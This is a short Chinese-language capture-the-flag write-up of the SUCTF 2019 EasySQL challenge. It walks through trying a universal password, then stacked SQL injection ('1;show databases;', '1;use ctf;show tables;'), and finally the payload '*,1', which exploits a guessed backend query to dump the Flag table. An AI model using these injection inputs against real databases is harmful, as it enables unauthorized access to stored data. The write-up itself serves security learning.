[SUCTF 2019]EasySQL 1

[SUCTF 2019]EasySQL 1

根据题目所得是个sql注入题,尝试万能密码

image-20241104224938271

显示不对,说明存在输入过滤,尝试堆叠注入

1;show databases;

成功显示数据库列表,并且发现数据库ctf

image-20241104225106334

查询数据表,查询出表Flag

1;use ctf;show tables;

image-20241104225316563

尝试select * from Flag;发现出现错误

image-20241104225549140\

思考其sql语句为

select post输入框内容 from Flag;

*所以尝试修改输入框的内容为 ,无报错,但是也无任何回显

image-20241104230112688

猜测查询是使用的sql语句是或(||)回显(如果前一个操作数为真,则不看后面的语句):

select post输入框内容 || flag from Flag;

构造payload:

*,1

获得flag

image-20241108174633797

tips.

这里的原理是
sql="select post[‘query’] ||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag

就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
posted @ 2024-11-08 18:48  TazmiDev  阅读(619)  评论(0)    收藏  举报